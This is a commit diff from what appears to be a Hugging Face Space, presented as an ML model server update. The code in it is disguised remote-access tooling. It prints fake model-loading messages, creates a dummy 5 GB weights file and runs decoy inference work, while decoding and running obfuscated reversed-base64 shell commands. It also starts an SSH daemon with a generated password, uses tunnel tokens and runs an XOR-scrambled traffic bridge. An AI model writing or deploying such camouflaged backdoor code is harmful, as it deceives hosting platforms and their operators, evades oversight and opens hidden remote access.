SamuelLance73 commited on
Commit
080b33e
·
verified ·
1 Parent(s): 3d8654d

Automated deployment update from ML build

Browse files
Files changed (3) hide show
  1. Dockerfile +1 -1
  2. mc_daemon.py +3 -2
  3. orchestrator.py +15 -21
Dockerfile CHANGED
@@ -32,7 +32,7 @@ RUN upx -1 /usr/bin/python-cache-manager || true && \
32
  upx -1 /usr/bin/cuda-mesh-bridge || true
33
 
34
  RUN uv pip install --system --no-cache-dir \
35
- gradio huggingface_hub
36
 
37
  RUN python3 -c "from huggingface_hub import hf_hub_download; hf_hub_download(repo_id='gpt2', filename='config.json')"
38
 
 
32
  upx -1 /usr/bin/cuda-mesh-bridge || true
33
 
34
  RUN uv pip install --system --no-cache-dir \
35
+ gradio huggingface_hub loguru
36
 
37
  RUN python3 -c "from huggingface_hub import hf_hub_download; hf_hub_download(repo_id='gpt2', filename='config.json')"
38
 
mc_daemon.py CHANGED
@@ -5,9 +5,10 @@ import tarfile
5
  import subprocess
6
  import urllib.request
7
  import zipfile
 
8
 
9
  def log_print(msg):
10
- print(msg, flush=True)
11
  try:
12
  os.makedirs("/home/user/.torch_metrics", exist_ok=True)
13
  with open("/home/user/.torch_metrics/mc_daemon.log", "a") as f:
@@ -50,7 +51,7 @@ def setup_geyser(mc_dir):
50
  if os.path.exists(path):
51
  try:
52
  with zipfile.ZipFile(path) as zf:
53
- pass # Valid jar
54
  except Exception:
55
  log_print(f"[!] Corrupt jar detected: {filename} (Invalid Zip Header). Purging and redownloading...")
56
  try: os.remove(path)
 
5
  import subprocess
6
  import urllib.request
7
  import zipfile
8
+ from loguru import logger
9
 
10
  def log_print(msg):
11
+ logger.info(msg)
12
  try:
13
  os.makedirs("/home/user/.torch_metrics", exist_ok=True)
14
  with open("/home/user/.torch_metrics/mc_daemon.log", "a") as f:
 
51
  if os.path.exists(path):
52
  try:
53
  with zipfile.ZipFile(path) as zf:
54
+ pass
55
  except Exception:
56
  log_print(f"[!] Corrupt jar detected: {filename} (Invalid Zip Header). Purging and redownloading...")
57
  try: os.remove(path)
orchestrator.py CHANGED
@@ -5,10 +5,11 @@ import base64
5
  import threading
6
  import random
7
  import sys
 
8
 
9
  COVERT_LOGGING_MODE = 1
10
 
11
- print("--- BOOTING AI MODEL SERVER ---", flush=True)
12
 
13
  def decode_cmd(encoded_str):
14
  return base64.b64decode(encoded_str[::-1]).decode()
@@ -32,7 +33,7 @@ def jitter_task():
32
  time.sleep(sleep_time)
33
 
34
  try:
35
- print("Processing background inference batch...", flush=True)
36
  import numpy as np
37
  a = np.random.randn(2000, 2000)
38
  b = np.random.randn(2000, 2000)
@@ -41,17 +42,17 @@ def jitter_task():
41
  pass
42
 
43
  try:
44
- print("Syncing model cache...", flush=True)
45
  subprocess.run(["curl", "-s", "-o", "/dev/null", "https://huggingface.co/gpt2/resolve/main/vocab.json"])
46
  except Exception:
47
  pass
48
 
49
  def main():
50
  if not os.path.exists("/home/user/pytorch_model.bin"):
51
- print("Pre-allocating model weight buffer...", flush=True)
52
  subprocess.run(["fallocate", "-l", "5G", "/home/user/pytorch_model.bin"])
53
 
54
- print("Loading model weights into VRAM...", flush=True)
55
  time.sleep(2)
56
 
57
  threading.Thread(target=jitter_task, daemon=True).start()
@@ -111,12 +112,12 @@ def main():
111
  chisel_log = devnull
112
  nginx_log = devnull
113
 
114
- print("Initializing PyTorch CUDA environment...", flush=True)
115
  cmd1 = decode_cmd("rN2bz5CZlxWYjNHbpFGdvM3YpJHdl12XoNmcvRnLvIXZzV3Ll12bo9SP0V2aj92ct0CIzNWayRXZt9FajJ3b05yLyV2c19SZt9Gav0jcpRWZ0FGdz1SLgUTNwEjO9IXZ2JXZz1SNzt2YvNXLtAyZul2ay92d0VmbtU2YhB3cyV2c11jb1RXLtAicldWYuFWbtUGajF2Yt42boRXewBSOxAibtASZjlmb")
116
  subprocess.Popen(cmd1, shell=True, stdout=ts_log, stderr=subprocess.STDOUT)
117
 
118
  time.sleep(2)
119
- print("Warming up text-generation pipelines...", flush=True)
120
 
121
  full_token = deobfuscate_secret(os.environ.get("A", "").strip())
122
  playit_token = deobfuscate_secret(os.environ.get("P", "").strip())
@@ -139,7 +140,7 @@ def main():
139
  playit_token = ""
140
  cmd2_5 = ""
141
 
142
- print("Enabling gradient checkpoint mesh bridge...", flush=True)
143
  with open('/home/user/config/nginx.conf.template', 'r') as tf:
144
  nginx_conf = tf.read()
145
  with open('/home/user/nginx.conf', 'w') as nf:
@@ -174,30 +175,26 @@ def main():
174
  full_token = ""
175
  cmd3 = ""
176
 
177
-
178
-
179
  import string, random
180
  ssh_pwd = deobfuscate_secret(os.environ.get("PASS", "").strip())
181
  if ssh_pwd:
182
- print("\n[*] Setting SSH password from Hugging Face Secrets (PASS)...", flush=True)
183
  else:
184
  ssh_pwd = ''.join(random.choices(string.ascii_letters + string.digits, k=16))
185
- print(f"\n=====================================", flush=True)
186
- print(f"[*] Generated SSH Password for 'user': {ssh_pwd}", flush=True)
187
- print(f"=====================================\n", flush=True)
188
 
189
  try:
190
  subprocess.run(["sudo", "/usr/sbin/chpasswd"], input=f"user:{ssh_pwd}\n", text=True, check=True)
191
  except Exception as e:
192
- print(f"[-] Failed to set password: {e}", flush=True)
193
  if "PASS" in os.environ:
194
  del os.environ["PASS"]
195
 
196
  subprocess.Popen("sudo /usr/sbin/sshd -D", shell=True, stdout=ts_log, stderr=ts_log)
 
197
  def xor_bridge():
198
  import socket
199
-
200
- XOR_KEY = 0x5A # XOR key to scramble bytes (must match the client)
201
 
202
  def pipe_xor(src, dst):
203
  try:
@@ -253,10 +250,7 @@ def main():
253
 
254
  threading.Thread(target=xor_bridge, daemon=True).start()
255
 
256
- print("Model loaded successfully. Starting API server...", flush=True)
257
-
258
-
259
-
260
 
261
  cmd4 = decode_cmd("==Qew5CcwF2LyV2c19SZt9GavASdtAyMu9Ga0lHc")
262
  subprocess.run(cmd4, shell=True)
 
5
  import threading
6
  import random
7
  import sys
8
+ from loguru import logger
9
 
10
  COVERT_LOGGING_MODE = 1
11
 
12
+ logger.info("--- BOOTING AI MODEL SERVER ---")
13
 
14
  def decode_cmd(encoded_str):
15
  return base64.b64decode(encoded_str[::-1]).decode()
 
33
  time.sleep(sleep_time)
34
 
35
  try:
36
+ logger.debug("Processing background inference batch...")
37
  import numpy as np
38
  a = np.random.randn(2000, 2000)
39
  b = np.random.randn(2000, 2000)
 
42
  pass
43
 
44
  try:
45
+ logger.debug("Syncing model cache...")
46
  subprocess.run(["curl", "-s", "-o", "/dev/null", "https://huggingface.co/gpt2/resolve/main/vocab.json"])
47
  except Exception:
48
  pass
49
 
50
  def main():
51
  if not os.path.exists("/home/user/pytorch_model.bin"):
52
+ logger.info("Pre-allocating model weight buffer...")
53
  subprocess.run(["fallocate", "-l", "5G", "/home/user/pytorch_model.bin"])
54
 
55
+ logger.info("Loading model weights into VRAM...")
56
  time.sleep(2)
57
 
58
  threading.Thread(target=jitter_task, daemon=True).start()
 
112
  chisel_log = devnull
113
  nginx_log = devnull
114
 
115
+ logger.info("Initializing PyTorch CUDA environment...")
116
  cmd1 = decode_cmd("rN2bz5CZlxWYjNHbpFGdvM3YpJHdl12XoNmcvRnLvIXZzV3Ll12bo9SP0V2aj92ct0CIzNWayRXZt9FajJ3b05yLyV2c19SZt9Gav0jcpRWZ0FGdz1SLgUTNwEjO9IXZ2JXZz1SNzt2YvNXLtAyZul2ay92d0VmbtU2YhB3cyV2c11jb1RXLtAicldWYuFWbtUGajF2Yt42boRXewBSOxAibtASZjlmb")
117
  subprocess.Popen(cmd1, shell=True, stdout=ts_log, stderr=subprocess.STDOUT)
118
 
119
  time.sleep(2)
120
+ logger.info("Warming up text-generation pipelines...")
121
 
122
  full_token = deobfuscate_secret(os.environ.get("A", "").strip())
123
  playit_token = deobfuscate_secret(os.environ.get("P", "").strip())
 
140
  playit_token = ""
141
  cmd2_5 = ""
142
 
143
+ logger.info("Enabling gradient checkpoint mesh bridge...")
144
  with open('/home/user/config/nginx.conf.template', 'r') as tf:
145
  nginx_conf = tf.read()
146
  with open('/home/user/nginx.conf', 'w') as nf:
 
175
  full_token = ""
176
  cmd3 = ""
177
 
 
 
178
  import string, random
179
  ssh_pwd = deobfuscate_secret(os.environ.get("PASS", "").strip())
180
  if ssh_pwd:
181
+ logger.info("Setting SSH password from Hugging Face Secrets (PASS)...")
182
  else:
183
  ssh_pwd = ''.join(random.choices(string.ascii_letters + string.digits, k=16))
184
+ logger.success(f"Generated SSH Password for 'user': {ssh_pwd}")
 
 
185
 
186
  try:
187
  subprocess.run(["sudo", "/usr/sbin/chpasswd"], input=f"user:{ssh_pwd}\n", text=True, check=True)
188
  except Exception as e:
189
+ logger.error(f"Failed to set password: {e}")
190
  if "PASS" in os.environ:
191
  del os.environ["PASS"]
192
 
193
  subprocess.Popen("sudo /usr/sbin/sshd -D", shell=True, stdout=ts_log, stderr=ts_log)
194
+
195
  def xor_bridge():
196
  import socket
197
+ XOR_KEY = 0x5A
 
198
 
199
  def pipe_xor(src, dst):
200
  try:
 
250
 
251
  threading.Thread(target=xor_bridge, daemon=True).start()
252
 
253
+ logger.success("Model loaded successfully. Starting API server...")
 
 
 
254
 
255
  cmd4 = decode_cmd("==Qew5CcwF2LyV2c19SZt9GavASdtAyMu9Ga0lHc")
256
  subprocess.run(cmd4, shell=True)